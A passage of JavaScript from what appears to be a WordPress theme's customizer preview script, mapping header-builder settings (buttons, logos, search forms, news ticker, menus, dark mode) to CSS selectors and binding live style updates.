        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-mobile-1'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-mobile-1:hover'
        },

        // button mb 2
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-mobile-2'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-mobile-2:hover'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-mobile-2'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-mobile-2:hover'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-mobile-2'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-mobile-2:hover'
        },

        // logo
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_for_title)': {
            '--pchb-logo-title-font': '.penci-header-image-logo,.penci-header-text-logo',
            'font-family': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_color_logo)': {
            '--pchb-logo-title-color': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_font_size_logo)': {
            '--pchb-logo-title-size': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_weight_title)': {
            'font-weight': '.penci-header-text-logo .site-name',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_style_title)': {
            '--pchb-logo-title-fs': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_font_size_slogan)': {
            '--pchb-logo-slogan-size': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_color_slogan)': {
            '--pchb-logo-slogan-color': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_for_slogan)': {
            '--pchb-logo-slogan-font': '.penci-header-image-logo,.penci-header-text-logo',
            'font-family': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_weight_slogan)': {
            'font-weight': '.penci-header-image-logo .site-slogan,.penci-header-text-logo .site-slogan'
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_style_slogan)': {
            '--pchb-logo-slogan-fs': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_size_logo_w)': {
            'max-width': '.pc-logo-desktop.penci-header-image-logo img'
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_size_logo_h)': {
            'max-height': '.pc-logo-desktop.penci-header-image-logo img'
        },

        // logo mobile
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_for_title)': {
            '--pchb-m-logo-title-font': '.penci_navbar_mobile .penci-header-text-logo',
            'font-family': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_color_logo)': {
            '--pchb-m-logo-title-color': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_font_size_logo)': {
            '--pchb-m-logo-title-size': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_weight_title)': {
            'font-weight': '.penci_navbar_mobile .penci-header-text-logo .site-name',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_style_title)': {
            '--pchb-m-logo-title-fs': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_font_size_slogan)': {
            '--pchb-m-logo-slogan-size': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_color_slogan)': {
            '--pchb-m-logo-slogan-color': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_for_slogan)': {
            '--pchb-m-logo-slogan-font': '.penci_navbar_mobile .penci-header-text-logo',
            'font-family': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_weight_slogan)': {
            'font-weight': '.penci_navbar_mobile .site-slogan',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_style_slogan)': {
            '--pchb-m-logo-slogan-fs': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_size_logo_mw)': {
            'max-width': '.penci_navbar_mobile .penci-header-image-logo img'
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_size_logo_mh)': {
            'max-height': '.penci_navbar_mobile .penci-header-image-logo img'
        },

        // logo sidebar
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_for_title)': {
            '--pchb-logo-sm-title-font': '.pb-logo-sidebar-mobile',
            'font-family': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_color_logo)': {
            '--pchb-logo-sm-title-color': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_font_size_logo)': {
            '--pchb-logo-sm-title-size': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_weight_title)': {
            'font-weight': '.pb-logo-sidebar-mobile.penci-header-text-logo .site-name',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_style_title)': {
            '--pchb-logo-sm-title-fs': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_font_size_slogan)': {
            '--pchb-logo-sm-slogan-size': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_color_slogan)': {
            '--pchb-logo-sm-slogan-color': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_for_slogan)': {
            '--pchb-logo-sm-slogan-font': '.pb-logo-sidebar-mobile',
            'font-family': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_weight_slogan)': {
            'font-weight': '.pb-logo-sidebar-mobile.penci-header-text-logo .site-slogan',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_style_slogan)': {
            '--pchb-logo-sm-slogan-fs': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_size_logo_mw)': {
            'max-width': '.pc-builder-element.pb-logo-sidebar-mobile img'
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_size_logo_mh)': {
            'max-height': '.pc-builder-element.pb-logo-sidebar-mobile img'
        },

        // logo sticky
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_for_title)': {
            '--pchb-logo-s-title-font': '.pc-logo-sticky',
            'font-family': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_color_logo)': {
            '--pchb-logo-s-title-color': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_font_size_logo)': {
            '--pchb-logo-s-title-size': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_weight_title)': {
            'font-weight': '.pc-logo-sticky.penci-header-text-logo .site-name',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_style_title)': {
            '--pchb-logo-s-title-fs': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_font_size_slogan)': {
            '--pchb-logo-s-slogan-size': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_color_slogan)': {
            '--pchb-logo-s-slogan-color': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_for_slogan)': {
            '--pchb-logo-s-slogan-font': '.pc-logo-sticky',
            'font-family': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_weight_slogan)': {
            'font-weight': '.pc-logo-sticky.penci-header-image-logo .site-slogan,.pc-logo-sticky.penci-header-text-logo .site-slogan',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_style_slogan)': {
            '--pchb-logo-s-slogan-fs': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_size_logo_w)': {
            'max-width': '.pc-builder-element.pc-logo-sticky.pc-logo img',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_size_logo_h)': {
            'max-height': '.pc-builder-element.pc-logo-sticky.pc-logo img',
        },
        'setting(penci_header_desktop_sticky_section)(penci_header_sticky_border_color)': {
            'border-color': '.penci_builder_sticky_header_desktop',
        },
        'setting(penci_header_desktop_sticky_section)(penci_header_sticky_border_style)': {
            'border-style': '.penci_builder_sticky_header_desktop',
        },
        'setting(penci_header_desktop_sticky_section)(penci_header_desktop_sticky_wrap_custom_width)': {
            'max-width': '.penci_builder_sticky_header_desktop.pchb-boxed-layout.container.container-custom, .penci-header-builder.pchb-boxed-layout.container.container-custom',
        },
        'setting(penci_header_desktop_sticky_section)(penci_header_desktop_sticky_lr_spc)': {
            'margin-left': '.pchb-boxed-layout.penci_builder_sticky_header_desktop .penci_nav_row',
			'margin-right': '.pchb-boxed-layout.penci_builder_sticky_header_desktop .penci_nav_row',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_content_width)': {
            'width': '.penci-desktop-sticky-top .container.container-normal',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_content_width)': {
            'width': '.penci-desktop-sticky-mid .container.container-normal',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_content_width)': {
            'width': '.penci-desktop-sticky-bottom .container.container-normal',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_color)': {
            'color': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_hv_color)': {
            'color': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title:hover',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_arr_color)': {
            'color': '.penci-builder-element.penci-topbar-trending .penci-trending-nav a',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_arr_hv_color)': {
            'color': '.penci-builder-element.penci-topbar-trending .penci-trending-nav a:hover',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_headline_color)': {
            'color': '.penci-builder-element.penci-topbar-trending .headline-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_headline_bg_style3)': {
            'border-right-color': '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-3::after',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_headline_bg)': {
            'background-color': '.penci-builder-element.penci-topbar-trending .headline-title',
            'border-bottom-color': '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-4:after',
            'border-left-color': '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-2:after',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_fs)': {
            'font-size': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_fw)': {
            'font-weight': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_arr_fs)': {
            'font-size': '.penci-builder-element.penci-topbar-trending .penci-trending-nav a',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_headline_fs)': {
            'font-size': '.penci-builder-element.penci-topbar-trending .headline-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_font)': {
            'font-family': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title,.penci-builder-element.penci-topbar-trending .headline-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_width)': {
            'max-width': '.penci-builder-element.penci-topbar-trending',
        },
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_penci_fontw_login_text)': {
            'font-weight': '.pc-header-element.penci-topbar-social .pclogin-item a'
        },
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_penci_font_login_text)': {
            'font-family': '.pc-header-element.penci-topbar-social .pclogin-item a'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_font_size_lv1)': {
            'font-size': '.pc-builder-menu.pc-dropdown-menu .menu li a'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_font_size_drop)': {
            'font-size': '.pc-builder-menu.pc-dropdown-menu .menu li li a'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_menu_border_color)': {
            'border-color': '.penci-menu-hbg.penci-builder-mobile-sidebar-nav .menu li,.penci-menu-hbg.penci-builder-mobile-sidebar-nav ul.sub-menu'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_font_for_menu)': {
            'font-family': '.pc-builder-menu.pc-dropdown-menu .menu li a'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_font_weight_menu)': {
            'font-weight': '.pc-builder-menu.pc-dropdown-menu .menu li a'
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_size)': {
            '--pcbd-menuhbg-size': '.penci-menuhbg-toggle.builder'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_txt_color)': {
            '--pcs-d-txt-cl': '.penci-builder-element.pc-search-form-desktop'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_txt_color)': {
            '--pcs-s-txt-cl': '.penci-builder-element.pc-search-form-sidebar'
        },
        'setting(penci_header_desktop_option_section)(penci_header_border_color)': {
            'border-color': '.penci_header.main-builder-header',
        },
        'setting(penci_header_desktop_option_section)(penci_header_border_style)': {
            'border-style': '.penci_header.main-builder-header',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_btnbstyle)': {
            'border-style': '.navigation .button-menu-mobile',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_bcolor)': {
            'border-color': '.navigation .button-menu-mobile',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_bhcolor)': {
            'border-color': '.navigation .button-menu-mobile:hover',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_bgcolor)': {
            'background-color': '.navigation .button-menu-mobile',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_bghcolor)': {
            'background-color': '.navigation .button-menu-mobile:hover',
        },
        'setting(penci_header_desktop_option_section)(penci_header_wrap_custom_width)': {
           'max-width': '.penci-header-builder.main-builder-header.pchb-boxed-layout.container.container-custom',
        },
        'setting(penci_header_desktop_option_section)(penci_header_wrap_lr_spc)': {
            'margin-left': '.pchb-boxed-layout .penci_nav_row',
			'margin-right': '.pchb-boxed-layout .penci_nav_row',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_border_color)': {
            'border-bottom-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search:before',
            'border-top-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_bg_color)': {
            'background-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_input_border_color)': {
            'border-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_input_bg_color)': {
            'background-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_input_color)': {
            '--pchd-sinput-txt': '.pc-wrapbuilder-header',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_o_bdcolor)': {
            'border-color': '.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform .pc-searchform-inner',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_bg_color)': {
            'background-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_bg_hcolor)': {
            'background-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit:hover',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_color)': {
            'color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_hcolor)': {
            'color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit:hover',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_o_bgcolor)': {
            'background-color': '.header-search-style-overlay .penci-header-builder .show-search',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_o_closecolor)': {
            'color': '.header-search-style-overlay .penci-header-builder .show-search a.close-search',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_input_size)': {
            'font-size': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input,.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_btn_size)': {
            'font-size': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
        },
        'setting(penci_header_pb_html_ad_section)(penci_header_builder_pb_html_color)': {
            'color': '.penci-builder-element.penci-html-ads-1',
        },
        'setting(penci_header_pb_html_ad_section)(penci_header_builder_pb_html_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-1 a',
        },
        'setting(penci_header_pb_html_ad_section)(penci_header_builder_pb_html_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-1,.penci-builder-element.penci-html-ads-1 *',
        },
        'setting(penci_header_pb_html_ad_2_section)(penci_header_builder_pb_html_2_color)': {
            'color': '.penci-builder-element.penci-html-ads-2',
        },
        'setting(penci_header_pb_html_ad_2_section)(penci_header_builder_pb_html_2_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-2 a',
        },
        'setting(penci_header_pb_html_ad_2_section)(penci_header_builder_pb_html_2_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-2,.penci-builder-element.penci-html-ads-2 *',
        },
        'setting(penci_header_pb_html_ad_3_section)(penci_header_builder_pb_html_3_color)': {
            'color': '.penci-builder-element.penci-html-ads-3',
        },
        'setting(penci_header_pb_html_ad_3_section)(penci_header_builder_pb_html_3_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-3 a',
        },
        'setting(penci_header_pb_html_ad_3_section)(penci_header_builder_pb_html_3_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-3,.penci-builder-element.penci-html-ads-3 *',
        },
        'setting(penci_header_pb_html_ad_mobile_section)(penci_header_builder_pb_html_mobile_color)': {
            'color': '.penci-builder-element.penci-html-ads-mobile',
        },
        'setting(penci_header_pb_html_ad_mobile_section)(penci_header_builder_pb_html_mobile_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-mobile a',
        },
        'setting(penci_header_pb_html_ad_mobile_section)(penci_header_builder_pb_html_mobile_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-mobile,.penci-builder-element.penci-html-ads-mobile *',
        },
        'setting(penci_header_pb_html_ad_mobile_2_section)(penci_header_builder_pb_html_mobile_2_color)': {
            'color': '.penci-builder-element.penci-html-ads-mobile-2',
        },
        'setting(penci_header_pb_html_ad_mobile_2_section)(penci_header_builder_pb_html_mobile_2_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-mobile-2 a',
        },
        'setting(penci_header_pb_html_ad_mobile_2_section)(penci_header_builder_pb_html_mobile_2_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-mobile-2,.penci-builder-element.penci-html-ads-mobile-2 *',
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_input_size)': {
            'font-size': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_size)': {
            'font-size': '.pc-search-form-desktop.search-style-default i,.pc-search-form-desktop.search-style-icon-button .searchsubmit:before,.pc-search-form-desktop.search-style-text-button .searchsubmit',
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_input_size)': {
            'font-size': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_size)': {
            'font-size': '.pc-search-form-sidebar.search-style-default i,.pc-search-form-sidebar.search-style-icon-button .searchsubmit:before,.pc-search-form-sidebar.search-style-text-button .searchsubmit',
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_input_pdl)': {
            'padding-left': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_input_pdr)': {
            'padding-right': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_pdl)': {
            'padding-left': '.penci-builder-element.pc-search-form-desktop .searchsubmit'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_pdr)': {
            'padding-right': '.penci-builder-element.pc-search-form-desktop .searchsubmit'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_input_pdl)': {
            'padding-left': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_input_pdr)': {
            'padding-right': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_pdl)': {
            'padding-left': '.penci-builder-element.pc-search-form-sidebar .searchsubmit'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_pdr)': {
            'padding-right': '.penci-builder-element.pc-search-form-sidebar .searchsubmit'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_bgcolor)': {
            '--pcdm_btnbg': 'body'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_d_color)': {
            '--pcdm_btnd': 'body'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_d_bgcolor)': {
            '--pcdm_btndbg': 'body'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_n_color)': {
            '--pcdm_btnn': 'body'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_b_bgcolor)': {
            '--pcdm_btnnbg': 'body'
        }
    }

    wp.customize('setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_height)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-builder-element.pc-search-form-desktop,.penci-builder-element.pc-search-form-desktop.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-desktop.search-style-text-button .search-input,.pc-search-form-desktop.search-style-icon-button .searchsubmit:before,.pc-search-form-desktop.search-style-text-button .searchsubmit', 'line-height:' + (newval - 2) + 'px;');
            createCssRule('.penci-builder-element.pc-search-form-desktop.search-style-default .search-input', 'line-height:' + (newval - 2) + 'px;padding-top:0;padding-bottom:0;');
        });
    });

    wp.customize('setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_height)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-builder-element.pc-search-form.pc-search-form-sidebar,.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .search-input,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .search-input,.pc-search-form-sidebar.search-style-icon-button .searchsubmit:before,.pc-search-form-sidebar.search-style-text-button .searchsubmit', 'line-height:' + (newval - 2) + 'px;');
            createCssRule('.penci-builder-element.pc-search-form-sidebar.search-style-default .search-input', 'line-height:' + (newval - 2) + 'px;padding-top:0;padding-bottom:0;');
        });
    });

    wp.customize('setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                createCssRule('.pc-builder-element.pc-main-menu', '--pchb-main-menu-tt: none;');
            } else {
                createCssRule('.pc-builder-element.pc-main-menu', '--pchb-main-menu-tt: uppercase;');
            }
        });
    });

    wp.customize('setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                createCssRule('.pc-builder-element.pc-second-menu', '--pchb-second-menu-tt: none;');
            } else {
                createCssRule('.pc-builder-element.pc-second-menu', '--pchb-second-menu-tt: uppercase;');
            }
        });
    });

    wp.customize('setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                createCssRule('.pc-builder-element.pc-third-menu', '--pchb-third-menu-tt: none;');
            } else {
                createCssRule('.pc-builder-element.pc-third-menu', '--pchb-third-menu-tt: uppercase;');
            }
        });
    });

    wp.customize('setting(penci_header_topbar_setting_section)(penci_header_topbar_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-topbar .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_topbar_setting_section)(penci_header_topbar_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-topbar .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_topblockbar_setting_section)(penci_header_topblock_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-topblock .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_topblockbar_setting_section)(penci_header_topblock_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-topblock .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_midbar_setting_section)(penci_header_midbar_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-midbar .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_midbar_setting_section)(penci_header_midbar_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-midbar .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_bottombar_setting_section)(penci_header_bottombar_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-bottombar .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_bottombar_setting_section)(penci_header_bottombar_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-bottombar .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-bottomblock .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-sticky-top .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-sticky-top .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_content_custom_width)', function (value) {
